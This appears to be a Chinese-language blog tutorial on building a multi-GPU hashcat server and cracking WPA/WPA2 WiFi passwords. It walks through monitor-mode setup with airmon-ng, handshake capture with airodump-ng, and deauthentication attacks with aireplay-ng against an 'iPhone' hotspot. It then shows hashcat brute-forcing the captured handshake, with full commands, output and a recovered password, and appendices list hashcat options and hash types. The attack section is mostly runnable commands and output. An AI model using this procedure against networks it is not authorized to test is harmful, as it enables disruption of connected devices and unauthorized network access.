硬件环境:
主机: TYAN FT77D-B7109
CPU: Intel Xeon Scalable Processor
GPU: 1080Ti x 8 (测试时只用了两块, 分别是MSI/技嘉)
内存: 32G
硬盘: 1T SSD
0x00 配置环境
0x01 安装系统
目标系统: Ubuntu 18.04.1 LTS Desktop (建议安装Server版)
在官网下载好启动盘之后, 用烧录工具(建议用win32diskimager)写入U盘, 然后进入启动项选为U盘启动, 接下来开始安装, 一路默认配置就好. 具体步骤请谷歌, 这里就不赘述了. (这里我们遇到一个坑, 就是插了PCIE网卡之后安装系统一直重启, 可能是主机的兼容性问题, 装系统的时候如果条件允许, 最好把所有的外置设备卸载掉)
0x02 安装GPU驱动
-
安装好系统之后, 可以配置一下更新源(
/etc/apt/sources.list
,我用的是中科大源), update一下系统.deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
sudo apt-get update && apt-get upgrade sudo apt-get install gcc make p7zip-full git lsb-core
-
然后将Nouveau(NVIDIA通用显卡驱动)禁用:
sudo bash -c "echo blacklist nouveau > /etc/modprobe.d/blacklist-nvidia-nouveau.conf" sudo bash -c "echo options nouveau modeset=0 >> /etc/modprobe.d/blacklist-nvidia-nouveau.conf" sudo update-initramfs -u sudo reboot
-
等重启之后, 再添加32位的NVIDIA驱动源:
sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install build-essential libc6:i386
-
在官网下载驱动, 下载好之后:
chmod +x NVIDIA*.run sudo ./NVIDIA*.run sudo reboot
或者:
wget http://us.download.nvidia.com/XFree86/Linux-x86_64/375.26/NVIDIA-Linux-x86_64-375.26.run chmod +x NVIDIA-Linux-x86_64-375.26.run sudo ./NVIDIA-Linux-x86_64-375.26.run
-
(可选步骤)安装CPU集成显卡驱动:
wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz tar -xvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz cd opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25 ./install.sh
-
这时候可以看一下显卡配置:
lspci | grep VGA
0x03 安装hashcat
wget https://hashcat.net/files/hashcat-3.30.7z
7z x hashcat-3.30.7z
cd hashcat-3.30
这是个比较老的版本, 我用的aircrack跑出来的包用这个版本可以跑. 如果想尝一下鲜也可以:
wget https://hashcat.net/files/hashcat-4.2.1.7z
顺便测试一下速度(在解压后的目录里直接运行./example0.sh
即可):
Session..........: hashcat
Status...........: Bypass
Hash.Type........: MD5
Hash.Target......: example0.hash
Time.Started.....: Sat Oct 20 20:08:33 2018 (27 mins, 0 secs)
Time.Estimated...: Sat Oct 20 22:31:24 2018 (1 hour, 55 mins)
Guess.Base.......: File (example.dict), Right Side
Guess.Mod........: Mask (?a?a?a?a?a?a) [6], Left Side
Guess.Queue.Base.: 1/1 (100.00%)
Guess.Queue.Mod..: 1/1 (100.00%)
Speed.Dev.#2.....: 8340.3 MH/s (6.61ms) @ Accel:128 Loops:64 Thr:256 Vec:1
Speed.Dev.#3.....: 7938.7 MH/s (6.93ms) @ Accel:128 Loops:64 Thr:256 Vec:1
Speed.Dev.#*.....: 16279.0 MH/s
Recovered........: 3035/6494 (46.74%) Digests, 0/1 (0.00%) Salts
Recovered/Time...: CUR:25,N/A,N/A AVG:29,1773,42558 (Min,Hour,Day)
Progress.........: 26411945426944/139573552218112 (18.92%)
Rejected.........: 0/26411945426944 (0.00%)
Restore.Point....: 200933376/1073741824 (18.71%)
Candidates.#2....: sarusix102x -> 6o9momx49wy3c2
Candidates.#3....: sarseeethelia3 -> 6o9602eugeni
HWMon.Dev.#2.....: Temp: 79c Fan: 62% Util: 94% Core:1860MHz Mem:5005MHz Bus:16
HWMon.Dev.#3.....: Temp: 84c Fan: 78% Util: 94% Core:1771MHz Mem:5005MHz Bus:16
Started: Sat Oct 20 20:08:26 2018
Stopped: Sat Oct 20 20:35:35 2018
-
关于上面输出的参数解析:
实际上example0.sh的命令如下: ./hashcat64.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict Session..........: Status...........: Hash.Type........: 表示哈希计算的类型 Hash.Target......: 表示目标哈希表 Time.Started.....: 计算开始时间 Time.Estimated...: 估计结束时间 Guess.Base.......: 密码字典 Guess.Mod........: 密码类型(大小写/数字等) Guess.Queue.Base.: Guess.Queue.Mod..: Speed.Dev.#2.....: 显卡1的速度(8340.0MH/s 约等于每秒83亿次运算) Speed.Dev.#3.....: 显卡2... Speed.Dev.#*.....: 总速度 Recovered........: Recovered/Time...: 当前已用时间(分,时,天); 平均需要时间(分,时,天) Progress.........: 当前进度 Rejected.........: 应该是丢包率(猜的) Restore.Point....: 当前的进度 Candidates.#2....: 即将尝试爆破的密码(猜的) Candidates.#3....: HWMon.Dev.#2.....: Temp表示当前显卡温度;Fan表示风扇转速;Men内存频率 HWMon.Dev.#3.....: Util表示内存使用率;Core表示GPU核频率;Bus通道数
-
关于hashcat命令参数解析(详见附录一):
-a 指定要使用的破解模式 -m 指定要破解的hash类型所对应的id[下面有一份完整的hash id对照表],几乎现在市面上常用的一些散列类型它都支持,而且每个版本更新都会增加一些新的算法 -o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中 --force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项 --show 显示已经破解的hash及该hash所对应的明文 --increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程,其实,并不建议这么用,因为破解时间可能会比较长 --increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用 --increment-max 密码最大长度,同上 --outfile-format 指定破解结果的输出格式id,一般自己常用3 --username 忽略hash文件中的指定的用户名,在破解win和linux系统用户密码hash可能会用到 --remove 删除已被破解成功的hash -r 使用自定义破解规则,这个后期抽空再说吧,比较的复杂,不是一两句话能说完的
-
真实爆破WiFi密码情况系hashcat参数解析:
./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?l?l?l?l?l?l?l?l
-m : hash的类型, 2500代表的是WPA/WPA2协议. 详见[② Hash种类](② Hash种类)
-a: 有多种参数, 3表示穷举. 详见[⑤ 攻击模式](#⑤ 攻击模式)
*.hccap: 即为
aircrack
抓到的包之后转化而来的?l: 表示所有的小写字母. 详见[⑥ 内置字符集](⑥ 内置字符集)
0x10 Crack实战
0x11 初始配置
-
首先需要找一个可以监听注入的USB网卡, 如果笔记本自带网卡能用就更好了. 这里以
rt2800usb
为例讲解:root@ks:/home/ks# airmon-ng PHY Interface Driver Chipset phy0 wlp3s0 iwlwifi Intel Corporation Device 24fb (rev 10) phy1 wlx7cdd90f1f416 rt2800usb Ralink Technology, Corp. RT2870/RT3070
可以看到, 有两张网卡,
wlp3s0
是笔记本自带的英特尔系列网卡;lx7cdd90f1f416
是能够监听的新插入的usb网卡. -
查看网卡状态, 两张网卡的Mode都是
Managed
:root@ks:/home/ks# iwconfig wlx7cdd90f1f416 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=off Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions. wlp3s0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=off Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on enp2s0 no wireless extensions. enp0s20f0u1 no wireless extensions.
-
为了避免冲突, 先杀占用进程
root@ks:/home/ks# airmon-ng check kill Killing these processes: PID Name 891 wpa_supplicant 3091 dhclient 4430 avahi-daemon 4431 avahi-daemon
-
然后将能够抓包的网卡的Mode设为
Monitor
root@ks:/home/ks# airmon-ng start wlx7cdd90f1f416 Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 7674 avahi-daemon 7675 avahi-daemon PHY Interface Driver Chipset phy0 wlp3s0 iwlwifi Intel Corporation Device 24fb (rev 10) phy4 wlx7cdd90f1f416 rt2800usb Ralink Technology, Corp. RT2870/RT3070 wlx7cdd90f1f416 is soft blocked, please run "rfkill unblock wlx7cdd90f1f416" to use this interface. rfkill error, unable to start wlx7cdd90f1f416 Would you like to try and automatically resolve this? [y/n] y rfkill error: rfkill: invalid identifier: 4 Unable to unblock. Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name. (mac80211 monitor mode vif enabled on [phy4]wlan0mon (mac80211 station mode vif disabled for [phy4]wlx7cdd90f1f416)
-
此时再看一下无线网卡状态:
root@ks:/home/ks# iwconfig lo no wireless extensions. wlp3s0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on wlan0mon IEEE 802.11 Mode:Monitor Tx-Power=off Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off enp2s0 no wireless extensions. enp0s20f0u1 no wireless extensions.
已更改~
0x12 实施攻击
-
我们的攻击目标是
iPhone
:root@ks:/home/ks# airodump-ng wlan0mon
上图可看到它的mac是74:D2:1D:AE:3F:94
, 信道(CH)是1
. (记住这两个信息下面有用)
-
接下来我们开两个shell, 一个shell负责监听握手包, 另一个shell负责洪荒攻击两个正常连接的WiFi设备, 我们先看看第一个shell:
airodump-ng --bssid 74:D2:1D:AE:3F:94 -c 1 -w test wlan0mon
可以看出来已经抓到了握手包703个. 对命令参数解释如下:
--bssid: 表示WiFi热点的mac
-c: 表示信道1
-w: 后面跟着文件名
wlan0mon: 需要监听的网卡
-
开启了监听之后, 我们就需要DDoS目标连接了, 这时候在另一个shell输入如下命令:
aireplay-ng --deauth 5 -a 74:D2:1D:AE:3F:94 wlan0mon
隔几秒发一次, 以抓到足够的握手包, 减少爆破的时间.
0x20 开始爆破
在上面操作的监听过程中, 会在当前路径下保存一个抓到的握手包的数据, 但这个流量包还不能直接让hashcat跑, 需要做简单的处理, 先做一个简单的数据清洗:
root@ks:~/crack_packet_wifi# wpaclean wpapass.cap test-05.cap
Pwning test-05.cap (1/1 100%)
Net 74:d2:1d:ae:3f:94 iPhone
Done
可以看到, 已经成功识别出目标无限的mac. 接下来我们吧数据包转换成hashcat能够识别的hash类型:
root@ks:/home/ks/software/crack_pw/crack_packet_wifi# aircrack-ng wpapass.cap -J wpahash
Opening wpapass.cap
Read 3 packets.
# BSSID ESSID Encryption
1 74:D2:1D:AE:3F:94 iPhone WPA (1 handshake)
Choosing first network as target.
Opening wpapass.cap
Reading packets, please wait...
Building Hashcat (1.00) file...
[*] ESSID (length: 6): iPhone
[*] Key version: 2
[*] BSSID: 74:D2:1D:AE:3F:94
[*] STA: 88:C9:D0:B7:2C:36
[*] anonce:
E6 A3 D9 3C 95 77 3E 0B 5D 84 CE 65 0D 1C EB 59
E4 E4 E3 A5 3A 07 FE D8 47 A1 7C 77 10 66 DC E4
[*] snonce:
03 8D 9F 6B A8 4B 27 7D 8E 02 57 56 34 D9 98 2A
4D 36 1C EA 2D 6A 91 43 4F 30 67 96 81 14 F4 AD
[*] Key MIC:
21 51 2B 3C 6F 37 CA 9E 09 6C 92 74 45 DC DA 11
[*] eapol:
01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
03 03 8D 9F 6B A8 4B 27 7D 8E 02 57 56 34 D9 98
2A 4D 36 1C EA 2D 6A 91 43 4F 30 67 96 81 14 F4
AD 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
04 01 00 00 0F AC 02 80 00
Successfully written to wpahash.hccap
Quitting aircrack-ng...
接下来就是直接放到爆破的服务器上跑(实测用最新版的hashcat跑不了, 这里用了3.30版本的hashcat)
./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?d?d?d?d?d?d?d?d
几秒钟就跑出来了:
```
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: iPhone (74:d2:1d:ae:3f:94 <-> 88:c9:d0:b7:2c:36)
Time.Started.....: Tue Oct 23 17:43:18 2018 (3 secs)
Time.Estimated...: Tue Oct 23 17:44:52 2018 (1 min, 31 secs)
Input.Mask.......: ?d?d?d?d?d?d?d?d [8]
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....: 535.2 kH/s (6.23ms)
Speed.Dev.#3.....: 527.7 kH/s (6.34ms)
Speed.Dev.#*.....: 1062.9 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 2207744/100000000 (2.21%)
Rejected.........: 0/2207744 (0.00%)
Restore.Point....: 0/10000000 (0.00%)
Candidates.#2....: 42345678 -> 41875555
Candidates.#3....: 40689823 -> 49471088
HWMon.Dev.#2.....: Temp: 41c Fan: 29% Util: 97% Core:1860Mhz Mem:5005Mhz Lanes:16
HWMon.Dev.#3.....: Temp: 41c Fan: 0% Util: 97% Core:1809Mhz Mem:5005Mhz Lanes:16
iPhone:74d21dae3f94:88c9d0b72c36:67854312
假设我们把它设置成全字符爆破, 也就是:
./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?a?a?a?a?a?a?a?a
则需要几百年(可见, 如果知道WiFi密码的字符组成结构, 也就成功了一半了):
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: iPhone (74:d2:1d:ae:3f:94 <-> 88:c9:d0:b7:2c:36)
Time.Started.....: Tue Oct 23 17:53:33 2018 (31 secs)
Time.Estimated...: Fri Dec 24 03:40:44 2021 (200 years, 198 days)
Input.Mask.......: ?a?a?a?a?a?a?a?a [8]
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....: 531.0 kH/s (6.38ms)
Speed.Dev.#3.....: 517.3 kH/s (6.52ms)
Speed.Dev.#*.....: 1048.3 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 31854592/6634204312890625 (0.00%)
Rejected.........: 0/31854592 (0.00%)
Restore.Point....: 0/69833729609375 (0.00%)
Candidates.#2....: E]_LINAN -> E;$.1988
Candidates.#3....: Narinane -> N"XZANAN
HWMon.Dev.#2.....: Temp: 66c Fan: 47% Util: 97% Core:1809Mhz Mem:5005Mhz Lanes:16
HWMon.Dev.#3.....: Temp: 65c Fan: 34% Util: 97% Core:1759Mhz Mem:5005Mhz Lanes:16
参考链接
- How to build a 8 GPU password cracker
- Running HashCat on Ubuntu 18.04 Server with 1080TI
- How to Build a Password Cracker with NVidia GTX 1080TI & GTX 1070
- 快速破解各种散列hash hashcat入门篇
- aircrack & hashcat 非字典高速破解目标无线密码
- 用hashcat超速破解WiFi密码
- 开源GPU密码破解工具–HashCat
- hashcat 帮助文件 中文翻译
- Hashcat用户手册——直接攻击模式的使用
附录一
① hashcat选项解释
用法:
hashcat [选项]... hash|hash文件|hccapx文件 [字典|掩码|目录]...
选项 缩写 / 原文 | 参数类型 | 描述 | 用例 |
---|---|---|---|
-m,--hash-type | 数字 | Hash种类,参见下面的参考 | -m 1000 |
-a,--attack-mode | 数字 | 攻击模式,参见下面的参考 | -a 3 |
-V,--version | 输出版本信息 | ||
-h,--help | 输出帮助信息 | ||
--quiet | 禁用输出 | ||
--hex-charset | 字符集以十六进制形式给出 | ||
--hex-salt | 盐以十六进制形式给出 | ||
--hex-wordlist | 字典中的单词是以十六进制形式给出的 | ||
--force | 忽略警告 | ||
--status | 自动更新屏幕 | ||
--status-timer | 数字 | 设置自动更新屏幕间隔为X秒 | --status-timer=1 |
--machine-readable | 以机器可读格式显示状态视图 | ||
--keep-guessing | 被破解之后继续猜测Hash | ||
--loopback | 在induction目录中加入新的纯文本文件 | ||
--weak-hash-threshold | 数字 | 当阈值为X时停止检查弱Hash | --weak=0 |
--markov-hcstat | 文件 | 指定要使用的hcstat文件 | --markov-hc=my.hcstat |
--markov-disable | 禁用马尔可夫链,模仿经典暴力破解 | ||
--markov-classic | 启用经典马尔可夫链,无任何位置 | ||
-t,--markov-threshold | 数字 | 当阈值X时停止接收新的马尔科夫链 | -t 50 |
--runtime | 数字 | 运行X秒后中止会话 | --runtime=10 |
--session | 字符串 | 定义具体的会话名称 | --session=mysession |
--restore | 从--session恢复会话 | ||
--restore-disable | 不写入恢复文件 | ||
--restore-file-path | 文件 | 指定恢复文件的路径 | --restore-file-path=my.restore |
-o,--outfile | 文件 | 定义恢复的Hash的输出文件 | -o outfile.txt |
--outfile-format | 数字 | 定义恢复的Hash的输出格式,参见下面的参考 | --outfile-format=7 |
--outfile-autohex-disable | 在输出纯文本文件中禁用$HEX[] | ||
--outfile-check-timer | 数字 | 设置输出文件检查间隔为X秒 | --outfile-check=30 |
-p,--separator | 字符 | Hash表和输出文件的分隔符 | -p : |
--stdout | 不破解Hash,只打印候选值 | ||
--show | 比较Hash表和pot文件,显示已破解的Hash | ||
--left | 比较Hash表和pot文件,显示未破解的Hash | ||
--username | 忽略Hash文件中的用户名 | ||
--remove | 一旦破解,就删除Hash | ||
--remove-timer | 数字 | 每X秒更新输入的Hash文件 | --remove-timer=30 |
--potfile-disable | 不写入pot文件 | ||
--potfile-path | 目录 | 指定pot文件的路径 | --potfile-path=my.pot |
--debug-mode | 数字 | 定义调试模式(仅通过使用规则进行混合) | --debug-mode=4 |
--debug-file | 文件 | 调试规则的输出文件 | --debug-file=good.log |
--induction-dir | 目录 | 指定loopback的induction目录 | --induction=inducts |
--outfile-check-dir | 目录 | 指定监控纯文本文件的输出目录 | --outfile-check-dir=x |
--logfile-disable | 禁用日志文件 | ||
--hccapx-message-pair | 数字 | 只从hccapx加载匹配X的消息对 | --hccapx-message-pair=2 |
--nonce-error-corrections | 数字 | 用BF大小范围来取代AP最后字节的随机数 | --nonce-error-corrections=16 |
--truecrypt-keyfiles | 文件 | 要使用的密匙文件,用逗号分隔 | --truecrypt-key=x.png |
--veracrypt-keyfiles | 文件 | 要使用的密匙文件,用逗号分隔 | --veracrypt-key=x.txt |
--veracrypt-pim | 数字 | VeraCrypt的头部密钥生成的迭代次数(PIM) | --veracrypt-pim=1000 |
-b,--benchmark | 运行基准测试 | ||
--speed-only | 返回预期的攻击速度,然后退出 | ||
--progress-only | 返回理想进度的步骤大小和处理时间 | ||
-c,--segment-size | 数字 | 为wordfile设置 X MB缓存 | -c 32 |
--bitmap-min | 数字 | 设置位图最小为X位(bit) | --bitmap-min=24 |
--bitmap-max | 数字 | 设置位图最大为X位(bit) | --bitmap-max=24 |
--cpu-affinity | 字符串 | 设置CPU相关性,用逗号分隔 | --cpu-affinity=1,2,3 |
-I,--opencl-info | 显示检测到的OpenCL平台/设备的信息 | -I | |
--opencl-platforms | 字符串 | 要使用的OpenCL平台,用逗号分隔 | --opencl-platforms=2 |
-d,--opencl-devices | 字符串 | 要使用的OpenCL设备,用逗号分隔 | -d 1 |
-D,--opencl-device-types | 字符串 | 要使用的OpenCL设备类型,用逗号分隔 | -D 1 |
--opencl-vector-width | 数字 | 手动覆盖OpenCL矢量宽度为X | --opencl-vector=4 |
-w,--workload-profile | 数字 | 设置工作负载配置文件,参见下面的参考 | -w 3 |
-n,--kernel-accel | 数字 | 手动调整工作负载,将外圈步长设置为X | -n 64 |
-u,--kernel-loops | 数字 | 手动调整工作负载,将内圈步长设置为X | -u 256 |
--nvidia-spin-damp | 数字 | 可变通NVIDIA处理器热循环Bug,用百分比表示 | --nvidia-spin-damp=50 |
--gpu-temp-disable | 禁用GPU温度和风扇速度的读取和触发 | ||
--gpu-temp-abort | 数字 | 如果GPU温度达到X摄氏度,则中止 | --gpu-temp-abort=100 |
--gpu-temp-retain | 数字 | 尝试将GPU温度保持在X摄氏度 | --gpu-temp-retain=95 |
--powertune-enable | 启用电源调整。 完成后恢复设置 | ||
--scrypt-tmto | 数字 | 手动覆盖scrypt的TMTO值为X | --scrypt-tmto=3 |
-s,--skip | 数字 | 跳过前X个单词 | -s 1000000 |
-l,--limit | 数字 | 跳过单词后限制X个单词 | -l 1000000 |
--keyspace | 显示密钥空间base:mod值后退出 | ||
-j,--rule-left | 规则 | 单个规则应用于字典中左侧的每个单词 | -j 'c' |
-k,--rule-right | 规则 | 单个规则应用于字典中右侧的每个单词 | -k '^-' |
-r,--rules-file | 文件 | 多个规则应用于字典中的每个单词 | -r rules/best64.rule |
-g,--generate-rules | 数字 | 生成X个随机规则 | -g 10000 |
--generate-rules-func-min | 数字 | 强制每个规则最小X个函数 | |
--generate-rules-func-max | 数字 | 强制每个规则最大X个函数 | |
--generate-rules-seed | 数字 | 强制RNG种子设置为X | |
-1,--custom-charset1 | 字符集 | 用户定义的字符集 ?1 | -1 ?l?d?u |
-2,--custom-charset2 | 字符集 | 用户定义的字符集 ?2 | -2 ?l?d?s |
-3,--custom-charset3 | 字符集 | 用户定义的字符集 ?3 | |
-4,--custom-charset4 | 字符集 | 用户定义的字符集 ?4 | |
-i,--increment | 启用掩码增量模式 | ||
--increment-min | 数字 | 在X处开始掩码递增 | --increment-min=4 |
--increment-max | 数字 | 在X处停止掩码递增 | --increment-max=8 |
② Hash种类
编号 | 名称 | 类别 |
---|---|---|
900 | MD4 | 纯Hash |
0 | MD5 | 纯Hash |
5100 | Half MD5 | 纯Hash |
100 | SHA1 | 纯Hash |
1300 | SHA-224 | 纯Hash |
1400 | SHA-256 | 纯Hash |
10800 | SHA-384 | 纯Hash |
1700 | SHA-512 | 纯Hash |
5000 | SHA-3 (Keccak) | 纯Hash |
10100 | SipHash | 纯Hash |
6000 | RIPEMD-160 | 纯Hash |
6100 | Whirlpool | 纯Hash |
6900 | GOST R 34.11-94 | 纯Hash |
11700 | GOST R 34.11-2012 (Streebog) 256-bit | 纯Hash |
11800 | GOST R 34.11-2012 (Streebog) 512-bit | 纯Hash |
10 | md5(salt) | 纯Hash,盐 且/或 多次迭代 |
20 | md5(pass) | 纯Hash,盐 且/或 多次迭代 |
30 | md5(unicode(salt) | 纯Hash,盐 且/或 多次迭代 |
40 | md5(pass)) | 纯Hash,盐 且/或 多次迭代 |
3800 | md5(pass.$salt) | 纯Hash,盐 且/或 多次迭代 |
3710 | md5(pass)) | 纯Hash,盐 且/或 多次迭代 |
4010 | md5(salt.$pass)) | 纯Hash,盐 且/或 多次迭代 |
4110 | md5(pass.$salt)) | 纯Hash,盐 且/或 多次迭代 |
2600 | md5(md5($pass)) | 纯Hash,盐 且/或 多次迭代 |
3910 | md5(md5(salt)) | 纯Hash,盐 且/或 多次迭代 |
4300 | md5(strtoupper(md5($pass))) | 纯Hash,盐 且/或 多次迭代 |
4400 | md5(sha1($pass)) | 纯Hash,盐 且/或 多次迭代 |
110 | sha1(salt) | 纯Hash,盐 且/或 多次迭代 |
120 | sha1(pass) | 纯Hash,盐 且/或 多次迭代 |
130 | sha1(unicode(salt) | 纯Hash,盐 且/或 多次迭代 |
140 | sha1(pass)) | 纯Hash,盐 且/或 多次迭代 |
4500 | sha1(sha1($pass)) | 纯Hash,盐 且/或 多次迭代 |
4520 | sha1(pass)) | 纯Hash,盐 且/或 多次迭代 |
4700 | sha1(md5($pass)) | 纯Hash,盐 且/或 多次迭代 |
4900 | sha1(pass.$salt) | 纯Hash,盐 且/或 多次迭代 |
14400 | sha1(CX) | 纯Hash,盐 且/或 多次迭代 |
1410 | sha256(salt) | 纯Hash,盐 且/或 多次迭代 |
1420 | sha256(pass) | 纯Hash,盐 且/或 多次迭代 |
1430 | sha256(unicode(salt) | 纯Hash,盐 且/或 多次迭代 |
1440 | sha256(pass)) | 纯Hash,盐 且/或 多次迭代 |
1710 | sha512(salt) | 纯Hash,盐 且/或 多次迭代 |
1720 | sha512(pass) | 纯Hash,盐 且/或 多次迭代 |
1730 | sha512(unicode(salt) | 纯Hash,盐 且/或 多次迭代 |
1740 | sha512(pass)) | 纯Hash,盐 且/或 多次迭代 |
50 | HMAC-MD5 (key = $pass) | 纯Hash,认证的 |
60 | HMAC-MD5 (key = $salt) | 纯Hash,认证的 |
150 | HMAC-SHA1 (key = $pass) | 纯Hash,认证的 |
160 | HMAC-SHA1 (key = $salt) | 纯Hash,认证的 |
1450 | HMAC-SHA256 (key = $pass) | 纯Hash,认证的 |
1460 | HMAC-SHA256 (key = $salt) | 纯Hash,认证的 |
1750 | HMAC-SHA512 (key = $pass) | 纯Hash,认证的 |
1760 | HMAC-SHA512 (key = $salt) | 纯Hash,认证的 |
14000 | DES (PT = pass) | 纯加密,已知的明文攻击 |
14100 | 3DES (PT = pass) | 纯加密,已知的明文攻击 |
14900 | Skip32 (PT = pass) | 纯加密,已知的明文攻击 |
400 | phpass | 通用密钥导出函数(KDF) |
8900 | scrypt | 通用密钥导出函数(KDF) |
11900 | PBKDF2-HMAC-MD5 | 通用密钥导出函数(KDF) |
12000 | PBKDF2-HMAC-SHA1 | 通用密钥导出函数(KDF) |
10900 | PBKDF2-HMAC-SHA256 | 通用密钥导出函数(KDF) |
12100 | PBKDF2-HMAC-SHA512 | 通用密钥导出函数(KDF) |
23 | Skype | 网络协议 |
2500 | WPA/WPA2 | 网络协议 |
4800 | iSCSI CHAP authentication, MD5(CHAP) | 网络协议 |
5300 | IKE-PSK MD5 | 网络协议 |
5400 | IKE-PSK SHA1 | 网络协议 |
5500 | NetNTLMv1 | 网络协议 |
5500 | NetNTLMv1+ESS | 网络协议 |
5600 | NetNTLMv2 | 网络协议 |
7300 | IPMI2 RAKP HMAC-SHA1 | 网络协议 |
7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | 网络协议 |
8300 | DNSSEC (NSEC3) | 网络协议 |
10200 | CRAM-MD5 | 网络协议 |
11100 | PostgreSQL CRAM (MD5) | 网络协议 |
11200 | MySQL CRAM (SHA1) | 网络协议 |
11400 | SIP digest authentication (MD5) | 网络协议 |
13100 | Kerberos 5 TGS-REP etype 23 | 网络协议 |
121 | SMF (Simple Machines Forum) > v1.1 | 论坛,内容管理系统(CMS),电子商务,框架 |
400 | phpBB3 (MD5) | 论坛,内容管理系统(CMS),电子商务,框架 |
2611 | vBulletin < v3.8.5 | 论坛,内容管理系统(CMS),电子商务,框架 |
2711 | vBulletin >= v3.8.5 | 论坛,内容管理系统(CMS),电子商务,框架 |
2811 | MyBB 1.2+ | 论坛,内容管理系统(CMS),电子商务,框架 |
2811 | IPB2+ (Invision Power Board) | 论坛,内容管理系统(CMS),电子商务,框架 |
8400 | WBB3 (Woltlab Burning Board) | 论坛,内容管理系统(CMS),电子商务,框架 |
11 | Joomla < 2.5.18 | 论坛,内容管理系统(CMS),电子商务,框架 |
400 | Joomla >= 2.5.18 (MD5) | 论坛,内容管理系统(CMS),电子商务,框架 |
400 | WordPress (MD5) | 论坛,内容管理系统(CMS),电子商务,框架 |
2612 | PHPS | 论坛,内容管理系统(CMS),电子商务,框架 |
7900 | Drupal7 | 论坛,内容管理系统(CMS),电子商务,框架 |
21 | osCommerce | 论坛,内容管理系统(CMS),电子商务,框架 |
21 | xt:Commerce | 论坛,内容管理系统(CMS),电子商务,框架 |
11000 | PrestaShop | 论坛,内容管理系统(CMS),电子商务,框架 |
124 | Django (SHA-1) | 论坛,内容管理系统(CMS),电子商务,框架 |
10000 | Django (PBKDF2-SHA256) | 论坛,内容管理系统(CMS),电子商务,框架 |
3711 | MediaWiki B type | 论坛,内容管理系统(CMS),电子商务,框架 |
13900 | OpenCart | 论坛,内容管理系统(CMS),电子商务,框架 |
4521 | Redmine | 论坛,内容管理系统(CMS),电子商务,框架 |
4522 | PunBB | 论坛,内容管理系统(CMS),电子商务,框架 |
12001 | Atlassian (PBKDF2-HMAC-SHA1) | 论坛,内容管理系统(CMS),电子商务,框架 |
12 | PostgreSQL | 数据库服务器 |
131 | MSSQL (2000) | 数据库服务器 |
132 | MSSQL (2005) | 数据库服务器 |
1731 | MSSQL (2012, 2014) | 数据库服务器 |
200 | MySQL323 | 数据库服务器 |
300 | MySQL4.1/MySQL5 | 数据库服务器 |
3100 | Oracle H: Type (Oracle 7+) | 数据库服务器 |
112 | Oracle S: Type (Oracle 11+) | 数据库服务器 |
12300 | Oracle T: Type (Oracle 12+) | 数据库服务器 |
8000 | Sybase ASE | 数据库服务器 |
141 | Episerver 6.x < .NET 4 | HTTP,SMTP,LDAP服务器 |
1441 | Episerver 6.x >= .NET 4 | HTTP,SMTP,LDAP服务器 |
1600 | Apache MD5, md5apr1, MD5 (APR) | HTTP,SMTP,LDAP服务器 |
12600 | ColdFusion 10+ | HTTP,SMTP,LDAP服务器 |
1421 | hMailServer | HTTP,SMTP,LDAP服务器 |
101 | nsldap, SHA-1(Base64), Netscape LDAP SHA | HTTP,SMTP,LDAP服务器 |
111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | HTTP,SMTP,LDAP服务器 |
1411 | SSHA-256(Base64), LDAP {SSHA256} | HTTP,SMTP,LDAP服务器 |
1711 | SSHA-512(Base64), LDAP {SSHA512} | HTTP,SMTP,LDAP服务器 |
15000 | FileZilla Server >= 0.9.55 | FTP 服务器 |
11500 | CRC32 | 校验和 |
3000 | LM | 操作系统 |
